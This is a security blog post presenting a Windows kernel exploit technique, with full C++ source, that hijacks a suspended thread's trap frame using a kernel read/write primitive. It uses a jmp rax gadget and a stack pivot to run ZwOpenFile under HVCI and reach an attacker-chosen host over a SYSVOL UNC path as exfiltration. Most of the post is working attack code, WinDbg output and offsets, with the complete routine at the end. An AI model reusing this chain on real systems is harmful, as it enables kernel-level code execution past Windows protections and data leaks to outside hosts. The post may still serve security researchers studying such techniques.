In this article I will cover a new implementation of an attack to use virtual kernel read write primitives to allow for Code Execution on HVCI enabled machines.

This attack method will function and complete on machines without shadow stacks without issue. This will complete the payload on machines with Shadow Stacks, but blue screen afterwards.

This attack eventually leads to sending a message or data exfiltration through the kernel using ZwOpenFile.

Video of it functioning:

The initial idea for this brought to me by my friend Jordan Higgins, who has a blog here with an extremely complicated vulnerability he discovered. https://jordanhiggins.blog/exploiting-a-windows-11-kernel-non-paged-pool-overflow/

If the goal is kernel code execution, why not simply overwrite values in the Stack Frame? It’s not that easy. We will get to that.

Base Knowledge

First, a Stack Frame and Trap Frame are very different. A stack frame manages function calls within a program, and a trap frame captures all of the data from the CPU at a point in time.

Furthermore, a thread must switch between User Mode and Kernel Mode depending on what it is executing. The general idea of this exploit is to overwrite values of the trap frame while the thread is in kernel mode, and therefore execute commands on the kernel using a read write primitive.

Initial setup

To complete this, I stole code from connar Mgcar (again) https://connormcgarr.github.io/hvci/, and used it to spawn a suspended thread.

All of the code listed below is available in my ropkit project. The code referenced in this page is from the below page: https://github.com/nasawyer7/ropkit/blob/master/ropkit/frame.cpp

This initial code uses functions I already have setup to spawn a suspended thread, and locate the ETHREAD/KTHREAD structure. This then allows me to find the KTHREAD_TrapFrame Structure.

//this is the exact same as the rop chain setup for the begining. 
    printf("Entering frame editing , spawning dummy thread.\n");

    HANDLE getthreadHandle = createdummyThread();
    printf("Thread handle: %llx\n", (UINT64)getthreadHandle); //compiler needs to shut it idc ab no stupid warning

    DWORD tid = GetThreadId(getthreadHandle);
    if (getthreadHandle == (HANDLE)-1)
    {
        printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());
        return;
    }
    printf("[+] Created the \"dummy thread\"!\n");

    Sleep(50);

    UINT64 kthread = tidfinder(tid);
    printf("tid found (same as kthread/ethread struct here): %llx\n", kthread);

    UINT64 frameaddr;
    driver.Read(&frameaddr, kthread + offsets.KT_TrapFrame, 0x8);
    printf("stack frame found at: %llx\n", frameaddr);

    getchar(); //for debugging and not killing my thread
    ResumeThread(getthreadHandle);
    printf("thread ended and it worked :) \n");

Now instead of editing the return address, which will be caught by Shadow Stacks right away, let’s instead edit the instruction pointer. But first, we need a good layout of what the trap frame looks like in memory. Windbg has a nice type for it, with offsets that do not change throughout windows versions.

I used this type to develop offsets for this exploit.

dt nt!_KTRAP_FRAME address

As the thread is started suspended, upon resumption the thread will execute the first instruction in instruction pointer. This leads to an extremely easy hijack, as all you have to do to start is to write a new address to KT_TrapFrame + 0x168 (address for RIP). Upon testing this with a breakpoint, I realized that I can easily control this structure.

Initial chain

In order to ensure this payload would get sent even with Shadow Stacks, I used a JOP so there would be no return addresses to compare. I placed a gadget for jmp rax, and edited rax to become the function I wanted to jump to. RAX is at offset 0x30, RIP at 0x168. By the way, stackbase is equal to the KT_TrapFrame base address. I did not name it the best.

driver.Write(stackbase + 0x30, offsets.ZwOpenFile + offsets.NTOSKRNLbase);
driver.Write(stackbase + 0x168, offsets.NTOSKRNLbase + offsets.GADGET_jmp_rax);

Stack pivot - ish

Since ZwOpenFile has 6 total arguments, the last two will be taken from the stack. However, I cannot simply place these on the stack as of now. I have to use a stack pivot, as I need to cleanly return.

So, created a fake stack pointer and called it new rsp. I used this variable as my own fake stack pointer. I set it to stackbase - 0x1000. By moving the stack pointer very far down in memory, this creates a location to place arguments without corrupting the thread’s saved data.

UINT64 newrsp = stackbase - 0x1000; //aligns stack so we can jump from it.

I am using jmp instead of call to begin this chain. Therefore, 0x8 must be subtracted from this fake stack pointer to create an area to return to.

UINT64 returnSlot = newrsp - 0x8;
driver.Write(stackbase + 0x180, returnSlot); //rsp rewrite with pop rsp ret gadget.

Now that the CPU will look at returnSlot when execution finishes, we need to get out of the fake stack and return to normal execution.

UINT64 pivotGadget = offsets.NTOSKRNLbase + offsets.GADGET_pop_rsp_ret; // pop rsp; ret
driver.Write(returnSlot, pivotGadget);

Once this gadget executes, this will pull the next value off of our fake stack and put it in the RSP register. That value needs to hold the original stack.

UINT64 originalRSP = stackbase + 0x190;
UINT64 safeResumeRSP = originalRSP + 0x58; //moving stack up a bit so it does not get overwrititen upon resume. 
driver.Write(newrsp, safeResumeRSP);

Why was 190 chosen? It is not in the structure of KTRAP_FRAME. This is because KTRAP_FRAME stores the actual stack directly after all of the registers and the values on it. By setting originalRSP to the location of the actual stack, then moving it up slightly, this allows for a safe return.

By adding 0x58 to originalRSP, we jump into a function that does not care about mangled registers at all. This is moving back to a previous return address, and this one does not crash.

To recap this section, as it is the most important, a fake stack is placed in newrsp. This fake stack is ultimately needed so we can add arguments for this syscall. Once the ZwOpenFile call finishes, it executes the pop rsp return gadget in that return slot. Now, the value placed at RSP is popped and executed. This value holds function call to continue execution, the original stack + 0x58.

Choosing 0x58

When I run my program, It displays the trap frame. I took that address, and set that address to an alias with as.

as sframe ffff82004155d7b0

Now, I can view what addresses the thread returns to.

0: kd> dps sframe +190+58 L1
ffff8200`4155d998  fffff802`87bca4a8 nt!KiStartUserThread+0x28
0: kd> dps sframe +190
ffff8200`4155d940  fffff802`00000000
ffff8200`4155d948  ffffb70f`f3b1f080
ffff8200`4155d950  024f807f`b8bbbdff
ffff8200`4155d958  fffff802`87bd13d3 nt!SwapContext+0x5e3
ffff8200`4155d960  00000000`00000000
ffff8200`4155d968  fffff802`17b0e180
ffff8200`4155d970  fffff802`884f25c0 nt!KiInitialThread
ffff8200`4155d978  00000000`00000000
ffff8200`4155d980  ffffb70f`f38680c0
ffff8200`4155d988  fffff802`884f25c0 nt!KiInitialThread
ffff8200`4155d990  ffffb70f`f3b1f080
ffff8200`4155d998  fffff802`87bca4a8 nt!KiStartUserThread+0x28
ffff8200`4155d9a0  fffff802`17b0e180
ffff8200`4155d9a8  00000000`00000000
ffff8200`4155d9b0  fffff802`87e0d3c0 nt!PspUserThreadStartup
ffff8200`4155d9b8  00000000`00000000

As you can see, the address at 0x58 above where the frame was points to KiStartUserThread +0x28. This was the first function I tested, and I just guessed that it would not crash, there was no reason. Unassembling this address shows that this function preforms cleanup, and will fix any bad values I give it.

u nt!KiStartUserThread+0x28 L20
nt!KiStartUserThread+0x28:
fffff802`87bca4a8 488d8c2400010000 lea     rcx,[rsp+100h]
fffff802`87bca4b0 0f28742430      movaps  xmm6,xmmword ptr [rsp+30h]
fffff802`87bca4b5 0f287c2440      movaps  xmm7,xmmword ptr [rsp+40h]
fffff802`87bca4ba 440f28442450    movaps  xmm8,xmmword ptr [rsp+50h]
fffff802`87bca4c0 440f284c2460    movaps  xmm9,xmmword ptr [rsp+60h]
fffff802`87bca4c6 440f28542470    movaps  xmm10,xmmword ptr [rsp+70h]
fffff802`87bca4cc 440f285980      movaps  xmm11,xmmword ptr [rcx-80h]
fffff802`87bca4d1 440f286190      movaps  xmm12,xmmword ptr [rcx-70h]
fffff802`87bca4d6 440f2869a0      movaps  xmm13,xmmword ptr [rcx-60h]
fffff802`87bca4db 440f2871b0      movaps  xmm14,xmmword ptr [rcx-50h]
fffff802`87bca4e0 440f2879c0      movaps  xmm15,xmmword ptr [rcx-40h]
fffff802`87bca4e5 488b19          mov     rbx,qword ptr [rcx]
fffff802`87bca4e8 488b7908        mov     rdi,qword ptr [rcx+8]
fffff802`87bca4ec 488b7110        mov     rsi,qword ptr [rcx+10h]
fffff802`87bca4f0 4c8b6118        mov     r12,qword ptr [rcx+18h]
fffff802`87bca4f4 4c8b6920        mov     r13,qword ptr [rcx+20h]
fffff802`87bca4f8 4c8b7128        mov     r14,qword ptr [rcx+28h]
fffff802`87bca4fc 4c8b7930        mov     r15,qword ptr [rcx+30h]

Loading Registers + values

I am executing ZwOpenFile, which takes in arguments from both the stack, and registers. According to https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwopenfile, here is the structure:

NTSYSAPI NTSTATUS ZwOpenFile(
  [out] PHANDLE            FileHandle,
  [in]  ACCESS_MASK        DesiredAccess,
  [in]  POBJECT_ATTRIBUTES ObjectAttributes,
  [out] PIO_STATUS_BLOCK   IoStatusBlock,
  [in]  ULONG              ShareAccess,
  [in]  ULONG              OpenOptions
);

I set registers rcx, rdx, r8, r9 below. RCX points to a location I do not have memory writen to, as this is the location the kernel writes the resulting handle to. We do not care about this handle, this does not matter. The same goes for the status block.

R8 holds the attributes and everything else around it.

driver.Write(stackbase + 0x38, scratch + 0x80);      // RCX, setting it to the handle. location
driver.Write(stackbase + 0x40, 0x0000000080100000);  // RDX, setting it to desired access. 
driver.Write(stackbase + 0x48, scratch + 0x50);      // R8, object attributes section we carved out earlier
driver.Write(stackbase + 0x50, scratch + 0x88);      // R9, Status block that does not really matter but we dont want to mangle anything. 

Setting the stack:

driver.Write(newrsp + 0x20, 0x7); // ShareAccess 
driver.Write(newrsp + 0x28, 0x0); // OpenOptions

Loading the string

The file path is built first from user input.

for (size_t i = 0; i < qwordCount; i++) {
    driver.Write((scratch + 0x100) + (i * 8), ((UINT64*)devPath)[i]);
}

The Unicode String structure must be built next. https://learn.microsoft.com/en-us/windows/win32/api/subauth/ns-subauth-unicode_string Here is the structure.

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

So therefore we must build an 8 byte header with a pointer right after it. The code below makes theat header dynamically larger if needed.

WORD len = (WORD)(wcslen(devPath) * 2);
WORD maxLen = len + 2;
UINT64 lengthFlags = ((UINT64)maxLen << 16) | len;
driver.Write(scratch + 0x40, lengthFlags);
driver.Write(scratch + 0x48, scratch + 0x100);     // buffer address

R8 Must holds the attributes section, which starts at scratch +0x50.

driver.Write(scratch + 0x50, 0x30);   //length of string
driver.Write(scratch + 0x58, 0);  // root directory
driver.Write(scratch + 0x60, scratch + 0x40); // object name
driver.Write(scratch + 0x68, 0x240); // object attributes (insensitive)
driver.Write(scratch + 0x70, 0);  // security descriptor (null)
driver.Write(scratch + 0x78, 0);  // securityqualityofservice(null)

Great! This now allows us to resume the thread.

Further direction?

This is now my preferred method of kernel code execution, due to the fact that you can manipulate all the registers so easily. However, this does not really support machines well with shadow stacks enabled. Even though the payload is executed, the machine will definitely bluescreen afterwards.

To fix this, this code will likely be later updated to infinitely load instead of blue screening. This is annoying, but oh well.

Full code:

#include "kit.h"
#include <iostream>
#include <string>
using namespace std; //shut up c lords idc i like stds

void Kit::FrameEdit() {
   //this is the exact same as the rop chain setup for the begining. 
    printf("Entering frame editing , spawning dummy thread.\n");

    HANDLE getthreadHandle = createdummyThread();
    printf("Thread handle: %llx\n", (UINT64)getthreadHandle); //compiler needs to shut it idc ab no stupid warning

    DWORD tid = GetThreadId(getthreadHandle);
    if (getthreadHandle == (HANDLE)-1)
    {
        printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError()); //this has never hit lol but thanks connar mcgar for more code
        return;
    }
    printf("[+] Created the dummy thread!\n");

    Sleep(50);

    UINT64 kthread = tidfinder(tid);
    printf("tid found (same as kthread/ethread struct here): %llx\n", kthread);

    UINT64 frameaddr;
    driver.Read(&frameaddr, kthread + offsets.KT_TrapFrame, 0x8);
    printf("stack frame found at: %llx\n", frameaddr);
    printf("nt (ntoskrnl) is at : %llx\n", offsets.NTOSKRNLbase);

    UINT64 scratch = offsets.NTOSKRNLbase + offsets.NTOSKRNLdata + 0x80000; //where we can write just fine. this is .data of nt. It's huge, and has 1.7mb free space. 
    printf("Using .data section of ntsokrnl for scratch at nt+%llx, placing the scratch pad  at: %llx \n", offsets.NTOSKRNLdata+0x80000, scratch);

    string input;
    printf("Enter target ip or information to xfil to lan\n");
    getline(cin, input); //grab input plus spaces

    setupFrameEdit(scratch, frameaddr, input.c_str()); //convert to cstring
    printf("Starting frame editing\n");

    ResumeThread(getthreadHandle);
    printf(" Run tcpdump on server if this is finishing with no connection.\n");

    UINT64 rHandle, rIOSbeg, rIOSend;
    driver.Read(&rHandle, scratch + 0x80, 0x8);
    driver.Read(&rIOSbeg, scratch + 0x88, 0x8);
    driver.Read(&rIOSend, scratch + 0x90, 0x8);
    printf("Returned handle: %llx, Returned IOstatus begining: %llx, Returned IOstatus end: %llx. These are all likely 0.\n", rHandle, rIOSbeg, rIOSend); //leave this if we change the syscall later we will want to return these feilds. 
}

void Kit::setupFrameEdit(UINT64 scratch, UINT64 stackbase, const char* ipAddress) {
    //set rax and call rax.
    driver.Write(stackbase + 0x30, offsets.ZwOpenFile + offsets.NTOSKRNLbase); // rax, immedinatly jump to openfile. 
    driver.Write(stackbase + 0x168, offsets.NTOSKRNLbase + offsets.GADGET_jmp_rax); //rip, call rax to bypass shadow stacks and get a return address.

    UINT64 newrsp = stackbase - 0x1000; //moves stack really really far forward. 

    UINT64 returnSlot = newrsp - 0x8; //create a fake call, pushing this fake stack in the return address. 
    driver.Write(stackbase + 0x180, returnSlot); //rsp rewrite with pop rsp ret gadget. 

    UINT64 pivotGadget = offsets.NTOSKRNLbase + offsets.GADGET_pop_rsp_ret; // pop rsp; ret
    driver.Write(returnSlot, pivotGadget); //push the address of the pivot gadget to the stack. The next return will grab this address. 

    UINT64 originalRSP = stackbase + 0x190; // this location holds the actual stack values of the thread
    UINT64 safeResumeRSP = originalRSP + 0x58; //moving stack up a bit so it does not get overwrititen upon resume. 
    driver.Write(newrsp, safeResumeRSP); //places the safe function to jump to that will not blue screen on the fake stack. 


    // now we edit the actual values of the stack frame 
    // RCX, RDX, R8, R9 are for ZwOpenFile
    driver.Write(stackbase + 0x38, scratch + 0x80);      // RCX, setting it to the handle. location
    driver.Write(stackbase + 0x40, 0x0000000080100000);  // RDX, setting it to desired access. 
    driver.Write(stackbase + 0x48, scratch + 0x50);      // R8, object attributes section we carved out earlier
    driver.Write(stackbase + 0x50, scratch + 0x88);      // R9, Status block that does not really matter but we dont want to mangle anything. 

    //these are arguments for ZwOpenFile. when call RAX occurs, hardware pushed 8 bytes . 
    // RSP becomes newrsp - 8. 
    //ZWopenFile looks for arguments at RSP + 0x28 and +0x30. so we subtract 8 because we are using that call to pivot. 
    driver.Write(newrsp + 0x20, 0x7); //i dont remember any
    driver.Write(newrsp + 0x28, 0x20); //syncronus

    wchar_t devPath[512] = { 0 };
    swprintf(devPath, 512, L"\\Device\\Mup\\%hs\\SYSVOL", ipAddress);

    size_t pathLenBytes = (wcslen(devPath) + 1) * 2;
    size_t qwordCount = (pathLenBytes + 7) / 8;
    for (size_t i = 0; i < qwordCount; i++) {
        driver.Write((scratch + 0x100) + (i * 8), ((UINT64*)devPath)[i]);
    }

    //update the string length length
    WORD len = (WORD)(wcslen(devPath) * 2);
    WORD maxLen = len + 2;
    UINT64 lengthFlags = ((UINT64)maxLen << 16) | len;
    driver.Write(scratch + 0x40, lengthFlags);

    driver.Write(scratch + 0x48, scratch + 0x100);     // buffer address
    driver.Write(scratch + 0x50, 0x30);   //length of string
    driver.Write(scratch + 0x58, 0);  // root directory
    driver.Write(scratch + 0x60, scratch + 0x40); // object name
    driver.Write(scratch + 0x68, 0x240); // object attributes (insensitive)
    driver.Write(scratch + 0x70, 0);  // security descriptor (null)
    driver.Write(scratch + 0x78, 0);  // securityqualityofservice(null)

    printf("Might want to bp at jmp rax, first gadget, at %llx\n", offsets.GADGET_jmp_rax+offsets.NTOSKRNLbase);
    printf("Or set breakpoint at pop rsp; ret (second gadget) at %llx\n\n", offsets.GADGET_pop_rcx_ret + offsets.NTOSKRNLbase);
}